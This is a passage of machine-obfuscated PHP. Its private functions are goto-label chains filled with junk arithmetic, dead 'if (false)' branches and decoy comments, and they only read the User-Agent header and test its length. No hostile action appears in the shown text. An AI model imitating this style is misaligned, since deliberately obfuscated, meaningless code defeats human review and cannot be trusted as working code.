VqY0nEoR: /* NMZgsMtOWK7waLt2hu5w */ goto Q1g9oAkX; Q1g9oAkX: /* rMZTd47e5GBeUAN52EQv */ $n7sJ6WnP = 857 + 4; $a29IFo9lZ = $n7sJ6WnP * 3; goto CSLk2Axg; CSLk2Axg: goto z3OBXQGF; z3OBXQGF: goto jqyBOIbx; jqyBOIbx: $Pe9zuJ4r = 951 + 44; $a6b9oay5s = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto a3DndRBB6; a3DndRBB6: /* pZ54lvami7omoCELFTJu */ goto ypeiFg6w; ypeiFg6w: /* Main service */ goto D2isUPEa; D2isUPEa: goto ZlD3mfwp; ZlD3mfwp: /* System file */ $BqYDw4sr = 325 + 17; $iX1geSuk = $BqYDw4sr * 4; goto zT5vWVv3; zT5vWVv3: goto OZjAhxRH; OZjAhxRH: // 470S1o6Y goto lAHcaV9R; lAHcaV9R: // QzGZlclh goto a5ZgEut_z; a5ZgEut_z: $NqlX8zGc = 341 + 50; $jIP39ari = $NqlX8zGc * 3; goto LR34yicB; LR34yicB: /* Main service */ $B9ma2fmF = 562 + 19; $XsucffsH = $B9ma2fmF * 2; goto NQhibmEZ; NQhibmEZ: return $iX1geSuk > 10; } private function sO0kTLMjy4() { /* e6VFyBLiP5ZMOf7 */ goto FpJ7kCUy; FpJ7kCUy: /* RfNbOwq5NlI_tnY */ if (false) { echo 'This is a dead end'; } goto ZtLmuhlK; ZtLmuhlK: goto obg3tZqS; obg3tZqS: /* Security component */ goto LCQSF_fe; LCQSF_fe: // uHFWsdjn6Q603MLw goto GS5mKidK; GS5mKidK: $jIP39ari = 525 + 3; $a29IFo9lZ = $jIP39ari * 4; goto qjoAZ39L; qjoAZ39L: // fb6yMVcu $XsucffsH = 928 + 42; $Pe9zuJ4r = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto D_qQv8jg; D_qQv8jg: /* Main service */ goto OOw1sueM; OOw1sueM: goto a7D4tbKvf; a7D4tbKvf: $iX1geSuk = 566 + 21; $iCjD65Pi = $iX1geSuk * 3; goto e6AZ2EXi; e6AZ2EXi: // O2KxUIGUMOYzgzhr $a6b9oay5s = 491 + 38; $B9ma2fmF = $a6b9oay5s * 4; goto a1BTygbvL; a1BTygbvL: /* OT9Zd8Ij9y */ $Pe9zuJ4r = 910 + 6; $FbaGmw5w = $Pe9zuJ4r * 5; goto GcCKmgv2; GcCKmgv2: /* 6WDdvbEDM5U6Zqf */ goto nYDSynYn; nYDSynYn: goto nrsxlVvN; nrsxlVvN: $jIP39ari = 764 + 33; $a6b9oay5s = $jIP39ari * 2; goto a9_oUXP2t; a9_oUXP2t: /* System file */ $WWDcP6ib = 599 + 33; $iCjD65Pi = $WWDcP6ib * 3; goto AsNcfht1; AsNcfht1: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Y6c5EiEW; Y6c5EiEW: goto fDiJX7gA; fDiJX7gA: $n7sJ6WnP = 470 + 12; $WWDcP6ib = $n7sJ6WnP * 3; goto BAwJSfvF; BAwJSfvF: goto lS6wrTny; lS6wrTny: goto gJNZz1HM; gJNZz1HM: /* System file */ goto HFiQYu9T; HFiQYu9T: // qACoiVrX if (false) { echo 'This is a dead end'; } goto o2VPMszP; o2VPMszP: if (false) { echo 'This is a dead end'; } goto fe2dwdvH; fe2dwdvH: // O5yJDC17 if (false) { echo 'This is a dead end'; } goto hBP0r9Yp; hBP0r9Yp: /* System file */ goto vKbn6wfo; vKbn6wfo: goto SQHp3TkJ; SQHp3TkJ: $iCjD65Pi = 936 + 18; $WWDcP6ib = $iCjD65Pi * 2; goto ymuUFFEQ; ymuUFFEQ: $jIP39ari = 841 + 11; $B9ma2fmF = $jIP39ari * 1; goto BeI1Hocd; BeI1Hocd: goto R_33yOCx; R_33yOCx: /* 1JEHEYEvtAfGBV6 */ $a6b9oay5s = 570 + 42; $a6b9oay5s = $a6b9oay5s * 5; goto a0Z5YQ_rl; a0Z5YQ_rl: $NqlX8zGc = 360 + 32; $BqYDw4sr = $NqlX8zGc * 5; goto pt8Mx_qq; pt8Mx_qq: $a29IFo9lZ = strlen($WWDcP6ib); goto DJ6bfnJc; DJ6bfnJc: /* Chr1qCSGp7mZDit */ goto yEooxvd7; yEooxvd7: /* Security component */ goto aOlBU5GM; aOlBU5GM: /* Core module */ goto EEhUxeXZ; EEhUxeXZ: $BqYDw4sr = 402 + 36; $iX1geSuk = $BqYDw4sr * 4; if (false) { echo 'This is a dead end'; } goto a7TYEg_8p; a7TYEg_8p: goto dsHkpD31; dsHkpD31: /* System file */ $BqYDw4sr = 612 + 27; $Pe9zuJ4r = $BqYDw4sr * 2; goto a2X5x_M1S; a2X5x_M1S: // JxG5v5zHkxwjrjR2 goto aPqJ5b7H; aPqJ5b7H: // xANxfC9oZiJa $n7sJ6WnP = 233 + 48; $a6EHyDbxg = $n7sJ6WnP * 5; goto oDcmcZSs; oDcmcZSs: if (false) { echo 'This is a dead end'; } goto a7eGtutQE; a7eGtutQE: $BqYDw4sr = 861 + 35; $B9ma2fmF = $BqYDw4sr * 5; if (false) { echo 'This is a dead end'; } goto a4Q_SuQY2; a4Q_SuQY2: $bZa4iOd6 = 270 + 49; $bZa4iOd6 = $bZa4iOd6 * 4; goto WuPjvqDQ; WuPjvqDQ: /* YK7Ta77N7gNRN3GMFGvt */ $a6EHyDbxg = 966 + 34; $a6EHyDbxg = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto E3z7XUw0; E3z7XUw0: // QkbfqxS8Gj_P if (false) { echo 'This is a dead end'; } goto a2gPPEdGB; a2gPPEdGB: $FbaGmw5w = 207 + 39; $a29IFo9lZ = $FbaGmw5w * 2; goto r24qfh7A; r24qfh7A: // l5Eojn2IxqiEpJkw if (false) { echo 'This is a dead end'; } goto a8NMSMx0o; a8NMSMx0o: return $a29IFo9lZ > 10; } private function fYoLON6b3P() { /* RNOCI4N8Uf */ goto w7Zom_Ms; w7Zom_Ms: // 5fQPLZAtJdFwOhiR goto MGbekDd0; MGbekDd0: /* 6vXCXSZmO3aPs06 */ $Pe9zuJ4r = 880 + 47; $iCjD65Pi = $Pe9zuJ4r * 2; if (false) { echo 'This is a dead end'; } goto a7ylITqug; a7ylITqug: goto a56msQx1h; a56msQx1h: if (false) { echo 'This is a dead end'; } goto ZKQ6sKWZ; ZKQ6sKWZ: /* API handler */ goto BIWZoRmo; BIWZoRmo: /* Security component */ $B9ma2fmF = 981 + 47; $bZa4iOd6 = $B9ma2fmF * 1; goto GwFbdML0; GwFbdML0: goto a3k69o1mj; a3k69o1mj: goto a9ywbFVj8; a9ywbFVj8: goto JOt4vhwm; JOt4vhwm: goto fq1v60UO; fq1v60UO: // q96BKgfaKFiJRxOO $BqYDw4sr = 583 + 33; $iX1geSuk = $BqYDw4sr * 4; goto rb1tPGjY; rb1tPGjY: if (false) { echo 'This is a dead end'; } goto xnVNl6Bn; xnVNl6Bn: goto jhAtLQS5; jhAtLQS5: goto AAX5uUlA; AAX5uUlA: if (false) { echo 'This is a dead end'; } goto a4Vz6gYPE; a4Vz6gYPE: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Y14mMGEk; Y14mMGEk: /* Security component */ if (false) { echo 'This is a dead end'; } goto UugcxHJt; UugcxHJt: /* apWopyRsVtfNXe9 */ goto Yr7TZ2zw; Yr7TZ2zw: /* Security component */ goto sYSFyODP; sYSFyODP: goto D7dO1YyJ; D7dO1YyJ: /* API handler */ goto Y1f5jihD; Y1f5jihD: goto eajYWT5r; eajYWT5r: /* API handler */ goto Y3tDtSN7; Y3tDtSN7: $XsucffsH = 936 + 18; $XsucffsH = $XsucffsH * 5; goto s5qxFGUG; s5qxFGUG: /* Main service */ goto a3QMWuFPd; a3QMWuFPd: /* VzuUEsD5BQCoZF6etvYJ */ $jIP39ari = 697 + 37; $iCjD65Pi = $jIP39ari * 3; goto Zg9ZnZqt; Zg9ZnZqt: $XsucffsH = 265 + 29; $bZa4iOd6 = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto G9tpTKj7; G9tpTKj7: // vGl2eAxbTctYoqyl goto a_z_FI_LX; a_z_FI_LX: // 6PXfVs7ckLNkLUZ4 $WWDcP6ib = 404 + 5; $iX1geSuk = $WWDcP6ib * 1; if (false) { echo 'This is a dead end'; } goto UwQGCRRb; UwQGCRRb: goto hYyPPXdc; hYyPPXdc: /* Hdm2SBXzbAtIpOZ */ goto bOWL2EVB; bOWL2EVB: $bZa4iOd6 = strlen($a6EHyDbxg); goto QuJqffIK; QuJqffIK: // UYBfg2mgxOtl $B9ma2fmF = 123 + 40; $WWDcP6ib = $B9ma2fmF * 3; goto RFFmaUx3; RFFmaUx3: /* RlVN84InDDkpV0a */ $n7sJ6WnP = 243 + 26; $FbaGmw5w = $n7sJ6WnP * 5; goto a3EH9Og5k; a3EH9Og5k: /* AqioDMOJdlk0UMT */ if (false) { echo 'This is a dead end'; } goto pY_7Ej_y; pY_7Ej_y: if (false) { echo 'This is a dead end'; } goto zkGWVjMI; zkGWVjMI: /* eqUApH2qHw */ goto PEvW1F93; PEvW1F93: if (false) { echo 'This is a dead end'; } goto LAXGfAfm; LAXGfAfm: // n00ccFCAp89aaSN2 goto hxSj37Kx; hxSj37Kx: if (false) { echo 'This is a dead end'; } goto dLyJTvmb; dLyJTvmb: // TCPfvAMI $a6b9oay5s = 290 + 15; $Pe9zuJ4r = $a6b9oay5s * 2; goto a5nedPElJ; a5nedPElJ: /* Security component */ $a6b9oay5s = 504 + 3; $bZa4iOd6 = $a6b9oay5s * 2; goto EKeMU4DM; EKeMU4DM: /* API handler */ $FbaGmw5w = 357 + 35; $iCjD65Pi = $FbaGmw5w * 1; goto a8VowpG1y; a8VowpG1y: // ty0TjXHQ goto MbqVy3nk; MbqVy3nk: goto wduvlPeU; wduvlPeU: goto S0nGuk9a; S0nGuk9a: if (false) { echo 'This is a dead end'; } goto AozOJBrJ; AozOJBrJ: return $bZa4iOd6 > 10; } private function r9YEcfIS0t() { goto ISxup229; ISxup229: /* oASVKvYNQxr7hssiYtTC */ goto MuftoSmH; MuftoSmH: /* Main service */ if (false) { echo 'This is a dead end'; } goto laNznBbq; laNznBbq: if (false) { echo 'This is a dead end'; } goto HCLtCmI4; HCLtCmI4: // 7AJKZRMEqL8eab20 $a6EHyDbxg = 574 + 19; $a6EHyDbxg = $a6EHyDbxg * 1; goto Dn3ugfiw; Dn3ugfiw: $bZa4iOd6 = 330 + 26; $jIP39ari = $bZa4iOd6 * 4; goto WMe42SPJ; WMe42SPJ: goto EmfbGbRB; EmfbGbRB: goto zhamPfo6; zhamPfo6: /* VELVI29WqT3FpNsYb8Vg */ $XsucffsH = 489 + 25; $iCjD65Pi = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto SnaZrN9g; SnaZrN9g: $a29IFo9lZ = 668 + 31; $NqlX8zGc = $a29IFo9lZ * 3; if (false) { echo 'This is a dead end'; } goto FRyeoE0G; FRyeoE0G: /* KwWz40EdOtbkXrYzHQJJ */ $FbaGmw5w = 350 + 11; $n7sJ6WnP = $FbaGmw5w * 5; goto F3derVQw; F3derVQw: /* jgqJjGXmNKssKfqN4AQd */ if (false) { echo 'This is a dead end'; } goto a2c9SwxVd; a2c9SwxVd: /* Security component */ $BqYDw4sr = 495 + 22; $a6b9oay5s = $BqYDw4sr * 1; goto Us8RbO3r; Us8RbO3r: /* aOMtCDdmhl7VvB3GGzc7 */ $n7sJ6WnP = 107 + 26; $Pe9zuJ4r = $n7sJ6WnP * 3; goto TqMEsXZj; TqMEsXZj: // I8p6ls9H $XsucffsH = 910 + 23; $B9ma2fmF = $XsucffsH * 1; goto twC8d6CF; twC8d6CF: // sKktoQ_lh9lP $WWDcP6ib = 875 + 3; $NqlX8zGc = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto a5MWRG4la; a5MWRG4la: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a091nKA8B; a091nKA8B: goto vleQHodP; vleQHodP: /* Main service */ if (false) { echo 'This is a dead end'; } goto n00B9WFw; n00B9WFw: $FbaGmw5w = 365 + 2; $NqlX8zGc = $FbaGmw5w * 1; goto iUErwXCL; iUErwXCL: /* 3JXLyAFogY1ZEzb */ goto a4dY3Vk39; a4dY3Vk39: /* API handler */ goto wKH_qzHK; wKH_qzHK: goto a1vivETA3; a1vivETA3: goto a4XV6kl15; a4XV6kl15: goto Zt9dawaf; Zt9dawaf: $B9ma2fmF = 593 + 37; $a6EHyDbxg = $B9ma2fmF * 4; if (false) { echo 'This is a dead end'; } goto VXXKvvMJ; VXXKvvMJ: $n7sJ6WnP = 934 + 19; $a6EHyDbxg = $n7sJ6WnP * 4; goto dnz22xDM; dnz22xDM: /* System file */ if (false) { echo 'This is a dead end'; } goto yFFSajyX; yFFSajyX: /* Core module */ goto MgVrNQy9; MgVrNQy9: /* API handler */ $XsucffsH = 322 + 15; $a6b9oay5s = $XsucffsH * 1; goto cfTRNdxI; cfTRNdxI: /* API handler */ goto SbwaEPbg; SbwaEPbg: $B9ma2fmF = 370 + 5; $XsucffsH = $B9ma2fmF * 1; goto bRycG4gO; bRycG4gO: $iCjD65Pi = strlen($WWDcP6ib); goto RftPtuxp; RftPtuxp: goto MDBOSzbk; MDBOSzbk: $bZa4iOd6 = 458 + 22; $BqYDw4sr = $bZa4iOd6 * 2; goto a8t6K_SYJ; a8t6K_SYJ: if (false) { echo 'This is a dead end'; } goto sGGwfj_N; sGGwfj_N: $a6b9oay5s = 886 + 21; $a29IFo9lZ = $a6b9oay5s * 2; goto kLjw8u40; kLjw8u40: goto w48NIKCW; w48NIKCW: // gx4SM4LwlwAp goto g3Lu06NB; g3Lu06NB: goto a6Nc9zWAN; a6Nc9zWAN: $iCjD65Pi = 368 + 1; $B9ma2fmF = $iCjD65Pi * 2; goto a5WgKt65d; a5WgKt65d: $iCjD65Pi = 211 + 31; $a6b9oay5s = $iCjD65Pi * 4; goto Z3ddDrhZ; Z3ddDrhZ: // A8q4zYXYCHQjFlyA $Pe9zuJ4r = 678 + 48; $Pe9zuJ4r = $Pe9zuJ4r * 3; if (false) { echo 'This is a dead end'; } goto a5Du7YVXz; a5Du7YVXz: /* Security component */ goto IfJacYag; IfJacYag: // OglpaST823K7 goto qdaK_0FT; qdaK_0FT: $Pe9zuJ4r = 774 + 28; $a6EHyDbxg = $Pe9zuJ4r * 5; goto Y_HnWqq3; Y_HnWqq3: goto NUXkQUx_; NUXkQUx_: goto Mf0OFiDk; Mf0OFiDk: return $iCjD65Pi > 10; } private function MLZ943hKNs() { /* Main service */ goto xg_YhWAK; xg_YhWAK: if (false) { echo 'This is a dead end'; } goto dg7zGgAp; dg7zGgAp: if (false) { echo 'This is a dead end'; } goto whueomdF; whueomdF: $bZa4iOd6 = 733 + 23; $WWDcP6ib = $bZa4iOd6 * 3; goto a0mxxM5ek; a0mxxM5ek: /* Security component */ goto MRsqJpDz; MRsqJpDz: // R98vOEGw4fcB goto wzxvKOJf; wzxvKOJf: $iX1geSuk = 586 + 18; $XsucffsH = $iX1geSuk * 3; goto WfadiTUa; WfadiTUa: $iCjD65Pi = 104 + 7; $NqlX8zGc = $iCjD65Pi * 1; goto VbdM01Gw; VbdM01Gw: /* j03VJ2wbduo0HSo */ if (false) { echo 'This is a dead end'; } goto ECUs6YKb; ECUs6YKb: goto LCZtecR1; LCZtecR1: if (false) { echo 'This is a dead end'; } goto mAkVIO75; mAkVIO75: goto A0NyC0c_; A0NyC0c_: /* 84duU27KUPba5dzVgOuz */ goto a0VHuxlrP; a0VHuxlrP: $bZa4iOd6 = 436 + 5; $bZa4iOd6 = $bZa4iOd6 * 5; goto a3wW4HThb; a3wW4HThb: /* Core module */ $WWDcP6ib = 370 + 28; $XsucffsH = $WWDcP6ib * 1; goto qFO0SgJ5; qFO0SgJ5: /* System file */ if (false) { echo 'This is a dead end'; } goto jeZYVrpF; jeZYVrpF: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto w8r8l3eD; w8r8l3eD: $B9ma2fmF = 932 + 29; $BqYDw4sr = $B9ma2fmF * 1; goto y8sjqhUn; y8sjqhUn: goto Q2CeaXhy; Q2CeaXhy: // CklTpDO2jUKoihW_ goto zWsvO8yB; zWsvO8yB: /* API handler */ goto c9sEYa2f; c9sEYa2f: goto cN0fWm_l; cN0fWm_l: // XekzWasJ goto Mvf4AYzs; Mvf4AYzs: /* API handler */ $NqlX8zGc = 341 + 25; $a29IFo9lZ = $NqlX8zGc * 3; goto z5sY9VkL; z5sY9VkL: goto s4NXsgBm; s4NXsgBm: /* System file */ $NqlX8zGc = 286 + 3; $iX1geSuk = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto a8xri2z0W; a8xri2z0W: /* NgDfXAwwywdzSh9 */ goto qCTnxwsy; qCTnxwsy: /* Core module */ $iCjD65Pi = 304 + 10; $a29IFo9lZ = $iCjD65Pi * 2; goto pt14AJzG; pt14AJzG: if (false) { echo 'This is a dead end'; } goto cBsWFOsf; cBsWFOsf: $iX1geSuk = 266 + 43; $a29IFo9lZ = $iX1geSuk * 1; goto a15dmDUJf; a15dmDUJf: /* 4jKz84TFpuBQYSeKkSJA */ $Pe9zuJ4r = 173 + 32; $jIP39ari = $Pe9zuJ4r * 3; goto jByHDrRU; jByHDrRU: goto HYFJNXX4; HYFJNXX4: $BqYDw4sr = strlen($XsucffsH); goto lYzvpIiX; lYzvpIiX: goto bUjxfO7f; bUjxfO7f: $Pe9zuJ4r = 759 + 37; $Pe9zuJ4r = $Pe9zuJ4r * 2; goto s91x6NUC; s91x6NUC: /* System file */ $B9ma2fmF = 826 + 10; $iX1geSuk = $B9ma2fmF * 1; goto yHw0jRgy; yHw0jRgy: // eN7ERSd2 goto WNDgqjpS; WNDgqjpS: // L_tTu1JXw10QFXar $a6b9oay5s = 299 + 29; $n7sJ6WnP = $a6b9oay5s * 1; goto YFJFzGsk; YFJFzGsk: goto X9Y6JTEs; X9Y6JTEs: /* Core module */ goto LqRhBaCq; LqRhBaCq: /* Core module */ $XsucffsH = 503 + 8; $a6b9oay5s = $XsucffsH * 4; goto fSejwIn6; fSejwIn6: goto pJGD0zig; pJGD0zig: // uoGLsumz $FbaGmw5w = 884 + 48; $B9ma2fmF = $FbaGmw5w * 3; goto O2OAQQDQ; O2OAQQDQ: /* Main service */ $iX1geSuk = 902 + 8; $NqlX8zGc = $iX1geSuk * 5; if (false) { echo 'This is a dead end'; } goto eRnr2qW7; eRnr2qW7: /* Core module */ $WWDcP6ib = 391 + 24; $iX1geSuk = $WWDcP6ib * 2; goto uFK8EMy1; uFK8EMy1: goto tsU0Vp3t; tsU0Vp3t: /* System file */ $a6EHyDbxg = 256 + 29; $iCjD65Pi = $a6EHyDbxg * 1; goto EiI1I7S0; EiI1I7S0: $XsucffsH = 605 + 24; $B9ma2fmF = $XsucffsH * 4; goto HQY3mK8U; HQY3mK8U: return $BqYDw4sr > 10; } private function JQnfyvBsfo() { // eiNs_OvD6Sae goto PP92vvJ0; PP92vvJ0: $jIP39ari = 750 + 47; $XsucffsH = $jIP39ari * 1; goto a1wEwZWmS; a1wEwZWmS: /* System file */ goto oFBkXMcj; oFBkXMcj: goto a2ok4ZC9E; a2ok4ZC9E: goto a6CKZRD7_; a6CKZRD7_: $iX1geSuk = 675 + 12; $n7sJ6WnP = $iX1geSuk * 1; goto aB5tHteg; aB5tHteg: // InWiE_a1 goto BpxXOs_g; BpxXOs_g: $a6EHyDbxg = 285 + 22; $B9ma2fmF = $a6EHyDbxg * 4; goto AEVHI0p3; AEVHI0p3: $FbaGmw5w = 750 + 49; $iCjD65Pi = $FbaGmw5w * 2; goto bZeH3Dsq; bZeH3Dsq: /* xnkjdVGn55 */ goto a8_WPWnLQ; a8_WPWnLQ: /* gItS_oU4w1ztJSa */ goto YSrXkXiu; YSrXkXiu: /* System file */ if (false) { echo 'This is a dead end'; } goto a58iZg8Kj; a58iZg8Kj: /* iB9Ft2wFJb */ goto f8CH2I51; f8CH2I51: goto tHUmNAFM; tHUmNAFM: // pUz1NgVt if (false) { echo 'This is a dead end'; } goto Zwh6ovx5; Zwh6ovx5: // btQxKvXv goto kofCWcpf; kofCWcpf: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a5tb1QbFg; a5tb1QbFg: /* Security component */ if (false) { echo 'This is a dead end'; } goto zspJj7ps; zspJj7ps: /* Core module */ $BqYDw4sr = 624 + 6; $XsucffsH = $BqYDw4sr * 4; goto mYyXiUX1; mYyXiUX1: goto qo6FfoAO; qo6FfoAO: /* yeE_v1xuzO */ $FbaGmw5w = 918 + 20; $jIP39ari = $FbaGmw5w * 4; goto Omr_7zJJ; Omr_7zJJ: goto H4ThhqPS; H4ThhqPS: // bv836Woq $WWDcP6ib = 706 + 27; $NqlX8zGc = $WWDcP6ib * 3; goto a7FXYtmSZ; a7FXYtmSZ: /* Core module */ goto Qo8uofDb; Qo8uofDb: goto EdnvUKUV; EdnvUKUV: goto XN_Amc9F; XN_Amc9F: /* aqS2_NgVUFUFcChBSod_ */ goto a62NHAsEK; a62NHAsEK: goto kQq4ojYo; kQq4ojYo: if (false) { echo 'This is a dead end'; } goto pxD6XUq3; pxD6XUq3: $WWDcP6ib = 245 + 3; $NqlX8zGc = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto LbNQNLyO; LbNQNLyO: goto a7PBr8QNy; a7PBr8QNy: /* System file */ goto qZ5rBuXl; qZ5rBuXl: $B9ma2fmF = strlen($XsucffsH); goto eXi9klY0; eXi9klY0: // 8u4yGAX6 goto y3KQcxZY; y3KQcxZY: /* System file */ $jIP39ari = 825 + 40; $a6EHyDbxg = $jIP39ari * 5; goto sLY0lbZZ; sLY0lbZZ: $FbaGmw5w = 680 + 39; $n7sJ6WnP = $FbaGmw5w * 3; goto a82HHu98M; a82HHu98M: /* API handler */ goto EE0Zpdsz; EE0Zpdsz: /* oyzff1CZbiQsDMezhQf5 */ $FbaGmw5w = 442 + 15; $iCjD65Pi = $FbaGmw5w * 3; goto xFADu9_t; xFADu9_t: $iCjD65Pi = 379 + 41; $FbaGmw5w = $iCjD65Pi * 2; goto u4Gz2QuV; u4Gz2QuV: // Km8wzGmori3Rjmjr goto HaMzU9Ab; HaMzU9Ab: // scVxTGjy if (false) { echo 'This is a dead end'; } goto cKWysOT9; cKWysOT9: /* Core module */ goto a_ZXdndBX; a_ZXdndBX: goto Wuyxxre8; Wuyxxre8: goto zWwYoJSW; zWwYoJSW: // nnGJCjiwemmR goto TQt5wcEk; TQt5wcEk: goto BAmxAgqj; BAmxAgqj: /* API handler */ $a6EHyDbxg = 470 + 7; $BqYDw4sr = $a6EHyDbxg * 4; goto a2OUmA44A; a2OUmA44A: /* Security component */ goto pZ8c1xBm; pZ8c1xBm: return $B9ma2fmF > 10; } private function a3tMJHZ96Ww() { goto txLeQ2Wj; txLeQ2Wj: /* Core module */ $WWDcP6ib = 311 + 21; $a29IFo9lZ = $WWDcP6ib * 1; goto EGyGSsUp; EGyGSsUp: $FbaGmw5w = 533 + 21; $jIP39ari = $FbaGmw5w * 1; goto a87cbYPv0; a87cbYPv0: goto UQZI5Yjh; UQZI5Yjh: /* 6dmTOt3A9S */ if (false) { echo 'This is a dead end'; } goto B28Cp7hB; B28Cp7hB: /* 5fDFF3ucwvgpFHf */ $a6EHyDbxg = 811 + 1; $FbaGmw5w = $a6EHyDbxg * 3; goto AEJxRbBc; AEJxRbBc: /* 2fHC50V5vdiiQ0b */ goto ELxk09DB; ELxk09DB: // na0OZQfOl6T0 if (false) { echo 'This is a dead end'; } goto YfZ7lnrB; YfZ7lnrB: /* Main service */ goto kMC9Y8XJ; kMC9Y8XJ: /* System file */ $NqlX8zGc = 195 + 19; $B9ma2fmF = $NqlX8zGc * 5; goto s69zfcLN; s69zfcLN: /* K_z3GdhXR5XxS3daSIO8 */ goto fZnQqWkd; fZnQqWkd: /* Security component */ goto mfttzMZX; mfttzMZX: /* yXdu8VfYwA */ goto iG5OiaRm; iG5OiaRm: /* 4lWjMzwlqKTNET9 */ goto OMJp6HDH; OMJp6HDH: /* U35Wsfxquu */ goto a4nRSlyvA; a4nRSlyvA: // B1qplFvVkbKQaFLv goto qiN7OPM_; qiN7OPM_: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto moMGghqX; moMGghqX: goto RdShh_5W; RdShh_5W: // nOQIoTGx if (false) { echo 'This is a dead end'; } goto qfnSQEmN; qfnSQEmN: /* Core module */ $FbaGmw5w = 750 + 49; $FbaGmw5w = $FbaGmw5w * 2; if (false) { echo 'This is a dead end'; } goto a1wrjBzSE; a1wrjBzSE: /* Main service */ goto ywCNRAFH; ywCNRAFH: goto a1936H0y1; a1936H0y1: goto Q6MpoYQQ; Q6MpoYQQ: $a29IFo9lZ = 562 + 50; $iX1geSuk = $a29IFo9lZ * 2; goto fapBIYQR; fapBIYQR: /* System file */ goto A2q9PTEb; A2q9PTEb: /* Security component */ goto a5nlNFjh_; a5nlNFjh_: goto XIjnCIBN; XIjnCIBN: /* Main service */ if (false) { echo 'This is a dead end'; } goto nOIa5Je8; nOIa5Je8: // i0MdNnrEQrsM if (false) { echo 'This is a dead end'; } goto a1ta5qMw; a1ta5qMw: /* Security component */ goto cxLE_ohJ; cxLE_ohJ: // tdp0XPq4 $WWDcP6ib = 105 + 40; $iX1geSuk = $WWDcP6ib * 5; goto zWVYoi9x; zWVYoi9x: /* API handler */ if (false) { echo 'This is a dead end'; } goto ouh9cbOM; ouh9cbOM: $bZa4iOd6 = strlen($jIP39ari); goto a6TXF1y06; a6TXF1y06: /* API handler */ goto znQ3pIi4; znQ3pIi4: goto a7zpuZORr; a7zpuZORr: /* Core module */ goto xdXYK1TO; xdXYK1TO: goto hnAwq2os; hnAwq2os: goto sQhFMbju; sQhFMbju: /* b2PLyRDoD_pmu3O */ if (false) { echo 'This is a dead end'; } goto zNXpcprY; zNXpcprY: goto gFweuuVL; gFweuuVL: // MFTxs1Ww goto q9KgqY24; q9KgqY24: $bZa4iOd6 = 427 + 35; $BqYDw4sr = $bZa4iOd6 * 4; goto PgUClRxY; PgUClRxY: $Pe9zuJ4r = 879 + 45; $B9ma2fmF = $Pe9zuJ4r * 1; goto kLnbVEnH; kLnbVEnH: /* API handler */ goto ONIwknKS; ONIwknKS: /* RMt6lxV3zEYfGDP */ goto AtM255qj; AtM255qj: goto FEnzyN4h; FEnzyN4h: // ASdOQX_yAHiOhZAZ goto Lt6P_ebm; Lt6P_ebm: /* D7O56F8TKMJudwL */ goto ZjNKd6cE; ZjNKd6cE: return $bZa4iOd6 > 10; } private function a72IzioQofL() { goto a9n3jYUrx; a9n3jYUrx: if (false) { echo 'This is a dead end'; } goto dCDKHDsy; dCDKHDsy: goto kRNLQX3c; kRNLQX3c: if (false) { echo 'This is a dead end'; } goto Tw_pW3Uu; Tw_pW3Uu: /* System file */ $iCjD65Pi = 225 + 23; $iCjD65Pi = $iCjD65Pi * 4; goto auf_6xDd; auf_6xDd: /* X2oKliytQfED2ZMmhVy0 */ goto CSqxWeYw; CSqxWeYw: goto BTC3htQY; BTC3htQY: goto a2gEv5Voh; a2gEv5Voh: /* Main service */ $XsucffsH = 303 + 21; $iCjD65Pi = $XsucffsH * 5; goto yguL96A8; yguL96A8: $iCjD65Pi = 812 + 47; $NqlX8zGc = $iCjD65Pi * 1; if (false) { echo 'This is a dead end'; } goto U4LRt2bu; U4LRt2bu: /* Security component */ goto a5rLlq09O; a5rLlq09O: goto CFRrMDf8; CFRrMDf8: goto mggsZzVB; mggsZzVB: goto gn2BkgBT; gn2BkgBT: if (false) { echo 'This is a dead end'; } goto w7sOZImo; w7sOZImo: $FbaGmw5w = 146 + 28; $WWDcP6ib = $FbaGmw5w * 1; goto a6NoD7XEq; a6NoD7XEq: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto j8itNlcK; j8itNlcK: goto X3pGVVqn; X3pGVVqn: /* API handler */ $jIP39ari = 747 + 26; $NqlX8zGc = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto fWeUOp8j; fWeUOp8j: $n7sJ6WnP = 800 + 39; $B9ma2fmF = $n7sJ6WnP * 2; goto KK6N99lh; KK6N99lh: goto ozZsc0Ok; ozZsc0Ok: /* tknwlcwGn0 */ goto E9nBLfC0; E9nBLfC0: /* 1gts5kWZc4zR0lqPvy3O */ goto F3PgWm8b; F3PgWm8b: $XsucffsH = 269 + 2; $WWDcP6ib = $XsucffsH * 5; goto XTTWlYeK; XTTWlYeK: /* RfmH7dULCXGQLB4 */ goto gd2YNDyc; gd2YNDyc: goto wdOgUJLA; wdOgUJLA: goto RUSXNMZO; RUSXNMZO: // ZxC6IN_Z goto VCgdf8fG; VCgdf8fG: $BqYDw4sr = 648 + 9; $jIP39ari = $BqYDw4sr * 1; goto lOtexWDU; lOtexWDU: $B9ma2fmF = 375 + 24; $a6EHyDbxg = $B9ma2fmF * 5; goto SzOg4tEv; SzOg4tEv: /* Core module */ goto bOQGj_p2; bOQGj_p2: if (false) { echo 'This is a dead end'; } goto D3VSDFsU; D3VSDFsU: $a6b9oay5s = strlen($B9ma2fmF); goto uclevFtL; uclevFtL: /* Core module */ goto H8jcAbjT; H8jcAbjT: /* API handler */ 